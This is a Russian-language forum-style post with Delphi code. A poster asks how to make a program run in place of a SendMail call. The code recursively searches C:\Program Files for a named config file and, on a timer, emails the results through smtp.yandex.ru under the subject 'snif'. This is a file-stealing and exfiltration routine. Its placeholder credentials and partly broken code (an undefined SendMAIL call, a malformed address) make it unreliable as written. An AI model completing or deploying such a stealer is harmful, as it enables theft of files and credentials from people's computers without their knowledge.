вот мой код, как сделать, чтобы вместо вызова процедуры SendMail работала прога?)))
procedure FindFiles(StartFolder, Mask: string; List: TStrings; ScanSubFolders: Boolean = True);
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
List.BeginUpdate;
try
StartFolder := IncludeTrailingBackslash(StartFolder);
FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
try
while FindResult = 0 do
with SearchRec do
begin
if (Attr and faDirectory) <> 0 then
begin
if ScanSubFolders and (Name <> '.') and (Name <> '..') then
FindFiles(StartFolder + Name, Mask, List, ScanSubFolders);
end
else
begin
if MatchesMask(Name, Mask) then
List.Add(StartFolder + Name);
end;
FindResult := FindNext(SearchRec);
end;
finally
FindClose(SearchRec);
end;
finally
List.EndUpdate;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
idSmtp1.Host:='smtp.yandex.ru'; // smtp
idSmtp1.Port:=25 ; // Порт ,если будет ошибка 10600 как то так, то попробуйте ввести порт 587
idSmtp1.Username:='11111' ; // Логин, от кого придет письмо
idSmtp1.Password:='11111' ; // Пароль
idMessage1.Body.Text:='11111' ;
idMessage1.From.Text:='11111@yandex.ru'; // Почтовый от адрес, от кого
idMessage1.Recipients.EMailAddresses:='11111@yande x.ru' ; // и кому отправляем
FileList := TStringList.Create;
FileList.Clear;
FindFiles('C:\Program Files\', '1111.cfg', FileList, true);
if FileList.Count <> 0 then SendMAIL(FileList);
FileList.Free;
idMessage1.Subject:='snif' ; // Тема письма
idSmtp1.Connect();
if idSmtp1.Connected=true then;
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect
end;
|